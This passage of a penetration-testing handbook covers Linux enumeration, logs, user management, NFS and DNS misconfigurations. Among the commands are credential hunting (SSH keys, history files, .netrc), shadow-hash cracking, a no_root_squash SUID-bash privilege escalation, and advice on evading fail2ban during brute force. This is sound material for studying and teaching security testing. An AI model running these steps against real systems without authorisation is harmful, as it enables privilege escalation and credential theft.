TCP Wrappers only control access to services — not to ports. It's not a
firewall replacement. A service not using TCP Wrappers (like most modern
daemons) is completely unaffected.
***
## Firewall — iptables & nftables
### iptables
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# View all rules
sudo iptables -L -n -v
# View NAT rules (port forwards, masquerading)
sudo iptables -t nat -L -n -v
# View specific chain
sudo iptables -L INPUT -n -v
sudo iptables -L OUTPUT -n -v
# Check if iptables is active
sudo iptables -L | grep -v "^Chain\|^target\|^$"
```
### nftables (Modern Replacement)
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# View all rules
sudo nft list ruleset
# View a specific table
sudo nft list table inet filter
```
### UFW (Uncomplicated Firewall — Ubuntu)
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Status and rules
sudo ufw status verbose
# Check UFW logs
cat /var/log/ufw.log | tail -30
```
***
## Fail2ban
Fail2ban monitors logs and bans IPs that show malicious behavior (too many failed logins, etc.).
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Check if fail2ban is running
systemctl status fail2ban
# View active jails and ban counts
sudo fail2ban-client status
sudo fail2ban-client status sshd
# Check banned IPs
sudo fail2ban-client status sshd | grep "Banned IP"
# View fail2ban config
cat /etc/fail2ban/jail.conf
cat /etc/fail2ban/jail.local 2>/dev/null
# Ban threshold — how many failures before a ban
grep "maxretry\|bantime\|findtime" /etc/fail2ban/jail.conf
```
**Pentest relevance:** If fail2ban is active on SSH, slow down your brute force attempts or use a distributed approach. The default ban threshold is typically 5 failures.
***
## Other Security Tools
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Lynis — system security audit tool (if installed)
lynis audit system 2>/dev/null
# chkrootkit — rootkit scanner (if installed)
chkrootkit 2>/dev/null
# rkhunter — rootkit hunter (if installed)
rkhunter --check 2>/dev/null
# Check for IDS/IPS tools running
ps aux | grep -E "snort|suricata|ossec|aide|tripwire"
```
***
## SSH Hardening (Know What You're Up Against)
SSH config reveals what authentication methods are allowed and what restrictions are in place:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
cat /etc/ssh/sshd_config | grep -v "^#\|^$"
```
**Key settings and their pentest implications:**
| Setting | Secure Value | Pentest Implication |
| ---------------------------- | -------------- | ------------------------------------- |
| `PermitRootLogin` | `no` | Can't SSH directly as root |
| `PasswordAuthentication` | `no` | Must have a valid key to authenticate |
| `PubkeyAuthentication` | `yes` | Key-based auth is enabled |
| `AllowUsers` / `AllowGroups` | specific users | Only listed users can SSH in |
| `Port` | non-standard | SSH running on a different port |
| `MaxAuthTries` | `3` | Limited attempts before disconnect |
| `X11Forwarding` | `no` | Can't forward GUI applications |
***
*Next: [Terminal Shortcuts](/tech/linux/shortcuts) — keyboard shortcuts that save time and keep you moving fast in the terminal.*
# Storage & Devices
Source: https://hackbook.dudji.com/tech/linux/storage-devices
Disks, partitions, mount points, and device files in Linux.
## Disks & Partitions
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# List block devices
lsblk
fdisk -l
# Disk usage
df -h # filesystem disk usage
du -sh * # directory sizes
# Partition info
cat /proc/partitions
blkid # device UUIDs and filesystem types
```
## Mount Points
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# View current mounts
mount
cat /etc/fstab # persistent mounts
# Mount a device
mount /dev/sdb1 /mnt/usb
# Unmount
umount /mnt/usb
```
### /etc/fstab Abuse
If `/etc/fstab` is writable, you can add a mount that auto-executes on boot:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Check writability
ls -la /etc/fstab
```
## /dev — Device Files
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Block devices (disks)
/dev/sda # first disk
/dev/sda1 # first partition
/dev/nvme0n1 # NVMe disk
# Special devices
/dev/null # discard output
/dev/zero # stream of null bytes
/dev/random # random data
/dev/mem # physical memory (dangerous)
/dev/tty # current terminal
```
## NFS (Network File System)
NFS shares are a common misconfiguration vector.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Enumerate NFS shares remotely
showmount -e target.com
# Mount a share
mount -t nfs target.com:/share /mnt/nfs
# no_root_squash misconfiguration
# If enabled, files created as root locally are treated as root on the server
# → Copy /bin/bash with SUID to the share
cp /bin/bash /mnt/nfs/bash
chmod +s /mnt/nfs/bash
# On the target:
/mnt/nfs/bash -p
```
NFS with `no_root_squash` is a critical misconfiguration that allows direct privilege escalation. Always check with `showmount` during enumeration.
# System enumeration
Source: https://hackbook.dudji.com/tech/linux/system-enumeration
## The Mindset
* **Who am I?** — Your current user, privileges, and group memberships.
* **Where am I?** — The OS, kernel, architecture, and how the system is set up.
* **What's around me?** — Users, services, network, files, and misconfigurations.
You cannot escalate privileges without first enumerating the system. If you're
stuck, you haven't gathered enough information — step back and dig deeper.
***
## The Enumeration Checklist
At minimum, collect the following before moving on:
| Category | What to Gather |
| ----------------------- | ------------------------------------------------------- |
| **System Info** | OS version, kernel version, architecture, patches |
| **User Info** | Current user, all users, sudo rights, group memberships |
| **Network Info** | Interfaces, routing tables, active connections |
| **Running Services** | Active processes, listening ports, scheduled tasks |
| **File System** | Interesting files, permission issues, mounted drives |
| **Installed Software** | Applications, versions, potential CVEs |
| **Security Mechanisms** | Firewall rules, SELinux/AppArmor status |
## Who Am I?
### `whoami` — Current Username
The most basic check. Always run this first on any new shell.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
whoami
# cry0l1t3
```
### `id` — User Identity & Group Memberships
This is `whoami` on steroids. It reveals your UID, GID, and every group you belong to.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
id
# uid=1000(cry0l1t3) gid=1000(cry0l1t3) groups=1000(cry0l1t3),1337(hackthebox),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)
```
**Output breakdown:**
```
uid=1000(cry0l1t3)
| |
| +-- username
+-- user ID
gid=1000(cry0l1t3)
| |
| +-- group name (= username by default)
+-- group ID (= UID by default)
groups=1000(cry0l1t3), 27(sudo), 4(adm)
^ ^----------^
primary supplementary
(same as gid) check for privesc
```
* **`uid`** — Your numeric user ID. `0` = root. `1000+` = regular user.
* **`gid`** — Your primary group, usually created alongside your user account.
* **`groups`** — Every group you belong to. This is what matters for privilege escalation.
**What to look for in the output:**
| Group | Why It Matters |
| ------------- | --------------------------------------------------------------------- |
| `sudo` | Can run commands as root — check `sudo -l` immediately |
| `adm` | Can read logs in `/var/log` — a goldmine for credentials and activity |
| `docker` | Can mount the host filesystem — trivial root escalation |
| `lxd` / `lxc` | Container group — can be abused for root |
| `disk` | Direct disk access — can read any file on the system |
| `shadow` | Can read `/etc/shadow` — password hashes |
Any non-standard group is worth investigating. Custom groups often grant
access to specific applications or files that weren't locked down properly.
***
## Where Am I? — System Details
All of the following answer the same question: *what exactly is this machine?* Run them together as a block.
### `hostname` — Machine Name
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
hostname
# nixfund
```
Hostnames often reveal the machine's role (e.g., `db-prod-01`, `web-dev`, `dc01`). This context matters for lateral movement and understanding the environment.
### `uname` — Kernel & OS Information
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Full system information
uname -a
# Linux box 4.15.0-99-generic #100-Ubuntu SMP Wed Apr 22 20:32:56 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
# Kernel release only (best for exploit searching)
uname -r
# 4.15.0-99-generic
```
**`uname -a` output breakdown:**
```
Linux box 4.15.0-99-generic #100-Ubuntu SMP ... x86_64
| | | | |
Kernel name Hostname Kernel release Kernel version Architecture
```
Take `uname -r` output and search it directly: `searchsploit linux kernel
4.15.0` or Google `"4.15.0-99-generic exploit"`. An unpatched kernel is often
a direct path to root.
### `/etc/os-release` — OS Name & Version
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
cat /etc/os-release
# NAME="Ubuntu"
# VERSION="20.04.1 LTS (Focal Fossa)"
# ID=ubuntu
```
### `/proc/version` — Kernel + Compiler Info
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
cat /proc/version
# Linux version 4.15.0-99-generic (buildd@lgw01-amd64-003) (gcc version 7.5.0 ...)
```
### `lscpu` — CPU Architecture
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
lscpu | grep -E "Architecture|CPU|Thread|Core"
```
### `pwd` — Current Working Directory
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
pwd
# /home/cry0l1t3
```
***
## Who Else Is Here?
### All Users on the System
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# All users with a shell (potential targets for lateral movement)
cat /etc/passwd | grep -v "nologin\|false" | cut -d: -f1,3,6,7
# Or list home directories
ls /home/
```
### Currently Logged-In Users
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
who
w # more detailed — shows what each user is doing
last # login history
```
### Sudo Rights
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
sudo -l
# Check every entry against GTFOBins: https://gtfobins.github.io/
```
***
## Environment & Path
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Full environment — look for credentials, tokens, and paths
env
# Or printenv
printenv
```
**Things to look for in the environment:**
* `PATH` entries pointing to writable directories (PATH hijacking)
* `AWS_*`, `DOCKER_*`, `TOKEN`, `KEY`, `SECRET` variables
* `HISTFILE` location — command history can contain credentials
***
*Next: [Finding Files & Directories](/tech/linux/filesystem-navigation) — hunting config files, credentials, and interesting artifacts.*
# System logs
Source: https://hackbook.dudji.com/tech/linux/system-logs
## The Mindset
System logs matter to a pentester from two angles:
* **Offensive** — Logs contain credentials, activity trails, internal hostnames, and evidence of what's running on the system
* **Defensive awareness** — Understanding what gets logged tells you what traces you're leaving behind
Every action you take on a compromised system is potentially being logged somewhere. Know what those sources are.
***
## Log Locations Overview
| Log File | What It Records |
| ----------------------------- | ---------------------------------------------------------- |
| `/var/log/auth.log` | SSH logins, sudo usage, PAM authentication (Debian/Ubuntu) |
| `/var/log/secure` | Same as auth.log on RHEL/CentOS |
| `/var/log/syslog` | General system events, service starts/stops, cron |
| `/var/log/kern.log` | Kernel messages, hardware events, driver issues |
| `/var/log/messages` | General messages (RHEL/CentOS equivalent of syslog) |
| `/var/log/dpkg.log` | Package installs and removals |
| `/var/log/apache2/access.log` | HTTP requests to Apache |
| `/var/log/apache2/error.log` | Apache errors — often reveals paths and configs |
| `/var/log/nginx/access.log` | HTTP requests to Nginx |
| `/var/log/mysql/error.log` | MySQL errors and startups |
| `/var/log/postgresql/` | PostgreSQL activity |
| `/var/log/fail2ban.log` | Blocked IPs, ban events |
| `/var/log/ufw.log` | Firewall allow/deny events |
| `/var/log/mail.log` | Mail server activity |
| `/var/log/journal/` | Systemd journal (binary — read with `journalctl`) |
***
## Reading Logs
### Basic Log Reading
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Read a full log
cat /var/log/syslog
# Last 50 lines (most recent activity)
tail -50 /var/log/auth.log
# Follow in real time
tail -f /var/log/auth.log
# First 20 lines
head -20 /var/log/syslog
# Page through a large log
less /var/log/syslog
```
### Filtering Log Output
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Search for a specific string
grep "Failed password" /var/log/auth.log
# Case-insensitive search
grep -i "error" /var/log/syslog
# Show lines around a match (context)
grep -A 3 -B 3 "authentication failure" /var/log/auth.log
# Filter by date
grep "May 20" /var/log/auth.log
# Count occurrences
grep "Failed password" /var/log/auth.log | wc -l
```
***
## Authentication Logs
`/var/log/auth.log` (Debian/Ubuntu) or `/var/log/secure` (RHEL/CentOS) is the most valuable log for a pentester. It records every login attempt, sudo command, and session event.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
cat /var/log/auth.log
```
**What to look for:**
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Successful SSH logins — who logged in and from where
grep "Accepted" /var/log/auth.log
# Feb 28 18:15:01 sshd[5678]: Accepted publickey for admin from 10.14.15.2 port 43210
# Failed login attempts — brute force evidence, valid usernames
grep "Failed password" /var/log/auth.log
# Feb 28 15:04:22 sshd[3010]: Failed password for htb-student from 10.14.15.2 port 50223
# Sudo commands run — what privileged actions were taken
grep "sudo" /var/log/auth.log
# Feb 28 18:15:03 sudo: admin : TTY=pts/1 ; PWD=/home/admin ; USER=root ; COMMAND=/bin/bash
# New sessions created
grep "session opened" /var/log/auth.log
# su usage — user switching
grep "session opened for user" /var/log/auth.log
```
**Pentest intel from auth.log:**
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# All unique IPs that attempted to log in
grep "Failed password\|Accepted" /var/log/auth.log | grep -oE "[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}" | sort -u
# All usernames that were attempted (valid + invalid)
grep "Failed password" /var/log/auth.log | awk '{print $9}' | sort | uniq -c | sort -rn
# All commands run via sudo
grep "COMMAND" /var/log/auth.log | awk -F"COMMAND=" '{print $2}' | sort -u
```
***
## System Logs
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
cat /var/log/syslog | tail -100
```
**What to look for:**
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Cron job execution — what ran and when
grep "CRON" /var/log/syslog
# Feb 28 15:00:01 server CRON[2715]: (root) CMD (/usr/local/bin/backup.sh)
# Service starts and stops
grep "systemd\[1\]" /var/log/syslog | grep -E "Started|Stopped|Failed"
# Network events
grep "NetworkManager\|dhclient" /var/log/syslog
# Errors and warnings
grep -E "error|warning|failed" /var/log/syslog -i | tail -30
```
Cron entries in syslog show you exactly what scripts run as root and when —
cross-reference with the actual scripts to find hijack opportunities.
***
## Kernel Logs
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
cat /var/log/kern.log | tail -50
# Also accessible via dmesg
dmesg | tail -50
dmesg | grep -i "error\|fail\|usb\|eth"
```
**What to look for:**
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Driver and hardware issues (may reveal kernel version weaknesses)
grep -i "error\|fail" /var/log/kern.log
# USB device connections (removable media activity)
dmesg | grep -i "usb\|storage"
# Network interface events
dmesg | grep -i "eth\|wlan\|link"
# Out-of-memory events (reveals memory pressure — useful for DoS research)
grep "Out of memory\|oom" /var/log/kern.log
```
***
## Application Logs
### Web Server Logs
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Apache access log — every HTTP request
cat /var/log/apache2/access.log | tail -50
# Apache error log — application errors, path disclosures
cat /var/log/apache2/error.log | tail -50
# Nginx
cat /var/log/nginx/access.log | tail -50
cat /var/log/nginx/error.log | tail -50
```
**Hunting credentials in web logs:**
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Credentials passed in GET parameters (bad practice but it happens)
grep -E "password=|passwd=|pass=|token=|key=|secret=" /var/log/apache2/access.log
# POST data isn't logged by default, but errors sometimes expose it
grep -i "password\|credential" /var/log/apache2/error.log
# User agents — identify tools used against this server
awk '{print $12}' /var/log/apache2/access.log | sort | uniq -c | sort -rn | head -20
# Most active IPs
awk '{print $1}' /var/log/apache2/access.log | sort | uniq -c | sort -rn | head -20
```
### Database Logs
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# MySQL errors (connection attempts, auth failures)
cat /var/log/mysql/error.log
# PostgreSQL logs
ls /var/log/postgresql/
cat /var/log/postgresql/postgresql-*-main.log | tail -50
```
***
## Systemd Journal
On modern systems, many logs go to the systemd journal instead of flat files.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# All logs (most recent first)
journalctl -r
# Logs for a specific service
journalctl -u ssh.service
journalctl -u apache2.service
journalctl -u cron.service
# Logs since last boot
journalctl -b
# Logs from a specific time window
journalctl --since "2024-01-01 00:00" --until "2024-01-01 23:59"
# Follow in real time
journalctl -f
# Show only errors
journalctl -p err
# Without pager (pipe-friendly)
journalctl -u ssh --no-pager | grep "Accepted"
```
***
## Security Logs
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Fail2ban — which IPs got banned and for what
cat /var/log/fail2ban.log
grep "Ban\|Unban" /var/log/fail2ban.log | tail -20
# UFW firewall events
cat /var/log/ufw.log | tail -50
grep "BLOCK" /var/log/ufw.log | awk '{print $12}' | sort | uniq -c | sort -rn
# AppArmor denials (processes hitting security boundaries)
grep "DENIED\|apparmor" /var/log/syslog | tail -20
# Audit daemon (if auditd is running)
cat /var/log/audit/audit.log 2>/dev/null | tail -50
ausearch -k passwd_changes 2>/dev/null # Search audit log by key
```
***
## Log Analysis for Pentesters
### Reconstructing What Happened
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Timeline of all auth events for a specific user
grep "htb-student" /var/log/auth.log | sort
# What commands did admin run via sudo today?
grep "sudo.*admin\|admin.*sudo" /var/log/auth.log | grep "COMMAND"
# What connected to this machine in the last hour?
grep "Accepted\|Failed" /var/log/auth.log | tail -100
# What services restarted recently?
grep "Started\|Stopped" /var/log/syslog | tail -30
# Any privilege escalation attempts?
grep "su\[" /var/log/auth.log
grep "sudo" /var/log/auth.log | grep -v "session\|pam"
```
### Finding Cleartext Credentials in Logs
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Broad credential search across all readable logs
grep -rE "password|passwd|secret|token|credential|api.key" /var/log/ 2>/dev/null | grep -v "^Binary"
# FTP credentials (often logged in plaintext)
grep -i "pass\|user" /var/log/vsftpd.log 2>/dev/null
# SMTP AUTH credentials
grep -i "AUTH\|LOGIN" /var/log/mail.log 2>/dev/null
```
*Next: [Linux Security & Hardening](/tech/linux/security-hardening) — understanding SELinux, AppArmor, TCP Wrappers, and the defenses you'll encounter on hardened systems.*
# User management
Source: https://hackbook.dudji.com/tech/linux/user-management
## The Mindset
Once you're on a box, user enumeration answers critical questions:
* **Who else is here?** — Other user accounts are lateral movement targets
* **What privileges do I have?** — Sudo rights, special groups, weak configs
* **Where are the credentials?** — `/etc/shadow`, history files, config files
* **Who can I become?** — `su`, `sudo`, token impersonation
***
## The Key Files
### `/etc/passwd` — User Account Database
Readable by everyone. Contains all user accounts on the system.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
cat /etc/passwd
```
Each line follows this format:
```
cry0l1t3 : x : 1000 : 1000 : : /home/cry0l1t3 : /bin/bash
│ │ │ │ │ │ │
Username Pwd UID GID Comment Home directory Shell
```
| Field | Description | Pentest Relevance |
| -------- | ----------------------------- | ---------------------------------------- |
| Username | Account name | Lateral movement target |
| Password | `x` = stored in `/etc/shadow` | If not `x` → hash is right here |
| UID | User ID — `0` = root | Any UID 0 account = root |
| GID | Primary group ID | Group membership |
| Comment | Full name or description | Recon info |
| Home dir | User's home directory | Where to hunt for files |
| Shell | Login shell | `nologin`/`false` = no interactive login |
**Useful one-liners against `/etc/passwd`:**
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# All users with an interactive shell (real accounts)
cat /etc/passwd | grep -v "nologin\|false" | cut -d: -f1
# Any account with UID 0 (root-level) besides root itself
awk -F: '$3 == 0 {print $1}' /etc/passwd
# All home directories
cat /etc/passwd | cut -d: -f1,6 | grep -v "nologin\|false"
# Clean formatted table of users, UIDs, and shells
cat /etc/passwd | grep -v "nologin\|false" | tr ":" " " | awk '{print $1, $3, $NF}' | column -t
```
***
### `/etc/shadow` — Password Hashes
Only readable by root. Contains the actual password hashes for all accounts. Getting here is a major milestone.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Requires root or sudo
sudo cat /etc/shadow
```
Each line format:
```
cry0l1t3:$6$wBRzy$...HASH...:18395:0:99999:7:::
│ │ │ │ │
Username Hash (+ algo) Last Min Max
change age age
```
**Hash algorithm prefixes:**
| Prefix | Algorithm |
| --------------- | ------------------------------------- |
| `$1$` | MD5 (weak) |
| `$2a$` / `$2b$` | bcrypt |
| `$5$` | SHA-256 |
| `$6$` | SHA-512 (most common on modern Linux) |
| `!` or `*` | Account locked — no password login |
**Once you have hashes, crack them:**
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Unshadow (combine passwd + shadow for John)
unshadow /etc/passwd /etc/shadow > hashes.txt
# Crack with John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
# Crack with Hashcat (SHA-512 = mode 1800)
hashcat -m 1800 hashes.txt /usr/share/wordlists/rockyou.txt
```
***
### `/etc/group` — Group Definitions
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
cat /etc/group
# Format: group_name:password:GID:members
# sudo:x:27:cry0l1t3,htb-student
```
**High-value groups to look for:**
| Group | Why It Matters |
| ---------------- | ------------------------------------ |
| `sudo` / `wheel` | Can run commands as root |
| `adm` | Can read logs in `/var/log` |
| `shadow` | Can read `/etc/shadow` |
| `docker` | Mount host filesystem → instant root |
| `lxd` / `lxc` | Container escape → root |
| `disk` | Raw disk access → read any file |
| `video` | Can capture screen framebuffer |
| `staff` | Can write to `/usr/local` |
***
## Current User Enumeration
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Who am I?
whoami
# Full identity — UID, GID, all groups
id
# My sudo rights — check EVERY entry against GTFOBins
sudo -l
# My environment — look for tokens, keys, writable PATH entries
env
# My command history — users type passwords here all the time
cat ~/.bash_history
cat ~/.zsh_history 2>/dev/null
# My SSH keys
ls -la ~/.ssh/
cat ~/.ssh/id_rsa 2>/dev/null
cat ~/.ssh/authorized_keys 2>/dev/null
```
***
## All Users on the System
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Interactive users (real login accounts)
cat /etc/passwd | grep -v "nologin\|false\|sync"
# All home directories (even if the user account is deleted)
ls -la /home/
# Who is currently logged in
who
w
# Login history
last
lastlog | grep -v "Never"
```
***
## Switching & Executing as Another User
### `su` — Switch User
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Switch to another user (need their password)
su cry0l1t3
# Switch to root
su -
# Run a single command as another user
su -c "whoami" cry0l1t3
```
### `sudo` — Execute as Another User
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Run a command as root
sudo
# Run as a specific user
sudo -u www-data /bin/bash
# List what you can run
sudo -l
# Shell as root (if permitted)
sudo /bin/bash
# Both achieve a root login shell, but differently:
# su - → authenticates as root using root's password (disabled by default on Ubuntu)
# sudo su - → authenticates as yourself, then sudo spawns a root shell (works if you're in the sudo group)
sudo su -
```
**Reading `sudo -l` output:**
```
User cry0l1t3 may run the following commands on box:
(root) NOPASSWD: /usr/bin/vim
# │ │ │
# Runas No password Allowed binary
# user needed
```
Any `NOPASSWD` entry is an immediate privesc vector. Check GTFOBins for the binary listed.
`(ALL : ALL) ALL` means the user can run any command as any user — they
effectively have root. `(ALL) NOPASSWD: ALL` is the same but without needing a
password.
***
## User Management Commands
These are useful to know both for administration and for understanding what happened on a compromised box:
| Command | Description |
| ------------------------- | ------------------------ |
| `useradd ` | Create a new user |
| `userdel ` | Delete a user |
| `usermod -aG sudo ` | Add user to a group |
| `passwd ` | Change a user's password |
| `addgroup ` | Create a new group |
| `delgroup ` | Delete a group |
**Adding yourself to a privileged group (if you have write access to `/etc/group`):**
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Check if /etc/group is writable (rare but happens)
ls -la /etc/group
# If writable — add yourself to sudo group
usermod -aG sudo $(whoami)
# Or edit directly
sed -i 's/^sudo:.*/&,cry0l1t3/' /etc/group
```
***
## Hunting Credentials Across the System
With user enumeration complete, pivot to credential hunting:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# History files for all users (need root for other users' home dirs)
find /home -name ".*history" 2>/dev/null -exec cat {} \;
# SSH private keys across the system
find / -name "id_rsa" -o -name "id_ecdsa" -o -name "id_ed25519" 2>/dev/null
# Check for password reuse — try cracked passwords on all accounts
su - # try with cracked password
# Any .pgpass, .my.cnf, .netrc files (stored credentials)
find /home /root -name ".pgpass" -o -name ".my.cnf" -o -name ".netrc" 2>/dev/null | xargs cat
```
***
*Next: [Process & Service Management](/tech/linux/processes-services) — enumerating running processes, services, and cron jobs to find attack surface.*
# Dns
Source: https://hackbook.dudji.com/tech/services/dns
# DNS
> DNS is the phone book of the internet — and a misconfigured DNS server will happily read you every entry, including the ones meant to stay internal. Zone transfers, version disclosure, and subdomain brute-forcing turn a name server into a map of the target's infrastructure.
**Protocol:** UDP (sometimes TCP) · **Port:** 53
***
## What Is DNS?
DNS (Domain Name System) resolves computer names into IP addresses. There's no central database — it's a massive distributed system, like a library full of phone books where each server is responsible for its own section and refers you elsewhere for the rest.
DNS is mostly **unencrypted**, which means queries can be intercepted and spied on. That privacy gap drove the creation of encrypted variants you'll occasionally encounter: **DNS over TLS (DoT)**, **DNS over HTTPS (DoH)**, and **DNSCrypt**.
***
## Default Configuration
All DNS servers work with three types of configuration files:
* **Local DNS configuration files**
* **Zone files**
* **Reverse name resolution files**
On Linux, the most common DNS server is **BIND9**. Its local configuration files are usually:
* `named.conf.local`
* `named.conf.options`
* `named.conf.log`
### Local DNS Configuration
The `named.conf` files define the server's zones and behavior. A typical local zone definition looks like this:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# /etc/bind/named.conf.local
zone "inlanefreight.htb" {
type master;
file "/etc/bind/db.inlanefreight.htb";
allow-update { none; };
};
```
Zones are divided into individual files, each generally intended for one domain. A **zone file** is a text file describing a DNS zone in the BIND format.
### Zone Files
A zone file describes a zone completely. It must contain exactly one **SOA** (Start of Authority) record and at least one **NS** (Name Server) record. The SOA record sits at the top:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
$TTL 3600
@ IN SOA ns1.inlanefreight.htb. admin.inlanefreight.htb. (
2024061301 ; Serial
3600 ; Refresh
1800 ; Retry
604800 ; Expire
86400 ) ; Minimum TTL
@ IN NS ns1.inlanefreight.htb.
@ IN A 10.129.14.128
ns1 IN A 10.129.14.128
www IN A 10.129.14.128
```
### Reverse Name Resolution Zone Files
For an IP address to be resolved back to its Fully Qualified Domain Name (FQDN), the DNS server needs a **reverse lookup file**. These use `PTR` records mapping addresses back to names:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
128 IN PTR www.inlanefreight.htb.
```
***
## Dangerous Settings
A DNS server can be attacked in many ways. Known vulnerabilities for BIND9 are catalogued at [CVEdetails](https://www.cvedetails.com/product/144/ISC-Bind.html), and [SecurityTrails](https://securitytrails.com/blog/most-popular-types-dns-attacks) maintains a list of the most popular DNS attack types.
The settings most relevant to a pentester are the ones that control who is allowed to query, transfer, and update zones:
| Setting | Risk |
| ----------------- | --------------------------------------------------------------------------------------------------------------------------------------------- |
| `allow-query` | Defines who can send queries. Set too broadly, it exposes records to anyone |
| `allow-recursion` | Allows recursive queries — an open resolver can be abused for amplification attacks |
| `allow-transfer` | **The big one** — defines who can request a full zone transfer (AXFR). Set to `any` or a wide subnet, it hands the entire zone to an attacker |
| `allow-update` | Defines who can dynamically modify zone records |
